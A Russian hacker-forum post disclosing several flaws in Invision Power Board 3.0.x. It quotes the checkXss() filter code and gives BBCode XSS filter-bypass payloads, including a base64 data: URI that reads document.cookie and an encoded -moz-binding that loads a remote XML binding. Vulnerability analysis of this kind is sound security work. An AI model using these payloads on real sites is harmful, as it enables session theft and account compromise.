|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Множественные уязвимости I.P.B.
Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.
Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools§ ion=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda .php:
PHP код:
/* Build DB Array */
$db_array = array(
'qa_question' => $_POST['question'],
'qa_answers' => $_POST['answers'],
);
...
PHP код:
$this->DB->insert( 'question_and_answer', $db_array );
Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
PHP код:
public function checkXss( $txt='', $fixScript=false )
{
//-----------------------------------------
// Opening script tags...
// Check for spaces and new lines...
//-----------------------------------------
if ( $fixScript )
{
$txt = preg_replace( "#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is" , "<script" , $txt );
$txt = preg_replace( "#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is", "</script", $txt );
}
//-----------------------------------------
// Here we can do some generic checking for XSS
// This should not be considered fool proof, though can provide
// a centralized point for maintenance and checking
//-----------------------------------------
$txt = str_ireplace( "(j)avascript" , "\\1avascript", $txt );
$txt = str_ireplace( "alert" , "alert" , $txt );
$txt = str_ireplace( "behavior" , "behavior" , $txt );
$txt = preg_replace( "/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" , "\\1xpression" , $txt );
$txt = preg_replace( "/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is" , "\\1xpression" , $txt );
$txt = preg_replace( "/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is" , "moz-binding" , $txt );
$txt = str_ireplace( "about:" , "about:" , $txt );
$txt = str_ireplace( "<body" , "<body" , $txt );
$txt = str_ireplace( "<html" , "<html" , $txt );
$txt = str_ireplace( "document." , "document." , $txt );
$txt = str_ireplace( "window." , "window." , $txt );
$event_handlers = array( 'mouseover', 'mouseout', 'mouseup', 'mousemove', 'mousedown', 'mouseenter', 'mouseleave', 'mousewheel',
'contextmenu', 'click', 'dblclick', 'load', 'unload', 'submit', 'blur', 'focus', 'resize', 'scroll',
'change', 'reset', 'select', 'selectionchange', 'selectstart', 'start', 'stop', 'keydown', 'keyup',
'keypress', 'abort', 'error', 'dragdrop', 'move', 'moveend', 'movestart', 'activate', 'afterprint',
'afterupdate', 'beforeactivate', 'beforecopy', 'beforecut', 'beforedeactivate', 'beforeeditfocus',
'beforepaste', 'beforeprint', 'beforeunload', 'begin', 'bounce', 'cellchange', 'controlselect',
'copy', 'cut', 'paste', 'dataavailable', 'datasetchanged', 'datasetcomplete', 'deactivate', 'drag',
'dragend', 'dragleave', 'dragenter', 'dragover', 'drop', 'end', 'errorupdate', 'filterchange', 'finish',
'focusin', 'focusout', 'help', 'layoutcomplete', 'losecapture', 'mediacomplete', 'mediaerror', 'outofsync',
'pause', 'propertychange', 'progress', 'readystatechange', 'repeat', 'resizeend', 'resizestart', 'resume',
'reverse', 'rowsenter', 'rowexit', 'rowdelete', 'rowinserted', 'seek', 'syncrestored', 'timeerror',
'trackchange', 'urlflip',
);
foreach( $event_handlers as $handler )
{
$txt = str_ireplace( 'on' . $handler, 'on' . $handler, $txt );
}
return $txt;
}
Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
Код:
[*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
Для FF:
Код:
[*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]
Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
PHP код:
$txt = preg_replace( "/(j)avascript/i" , "\\1avascript", $txt );
Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
Код:
[*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code]
//Далее без претензии на уникальность, развиваю пост LeverOne'а
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:
Код:
[acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]
Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
Код:
[acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]
Последний раз редактировалось Root-access; 15.01.2010 в 21:23..
|